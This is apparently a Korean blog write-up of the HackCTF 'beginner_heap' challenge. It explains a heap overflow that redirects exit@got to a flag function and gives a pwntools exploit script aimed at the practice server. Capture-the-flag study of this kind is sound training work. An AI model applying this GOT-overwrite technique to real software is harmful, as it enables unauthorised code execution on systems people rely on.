이 함수를 실행시키면 익스가 된다. 그렇기 위서 exit@got 주소를 저 함수로 바꿔야 한다. 따라서 첫번째 strcpy로 2번째 strcpy 인자의 주소를 exit@got주소로 바꾸고 2번째 strcpy로 저 함수의 주소를 입력해주면 된다.
from pwn import *
#p = process('./beginner_heap.bin')
p = remote('ctf.j0n9hyun.xyz', 3016)
e = ELF('./beginner_heap.bin')
pause()
context.log_level="debug"
flag_f = 0x400826
payload = 'a' * 8 * 2
#next_heap_prev_size
payload += 'a' * 8 * 3
payload += p64(e.got['exit'])
p.sendline(payload)
p.sendline(p64(flag_f))
p.interactive()
'CTF write-up > hackctf' 카테고리의 다른 글
[hackctf]Gift (0) | 2019.07.18 |
---|---|
[hackctf]look_at_me (0) | 2019.07.18 |
[hackctf]random (0) | 2019.07.18 |
[hackctf]Unexploitable_2 (0) | 2019.07.18 |
[hackctf]Unexploitable (0) | 2019.07.16 |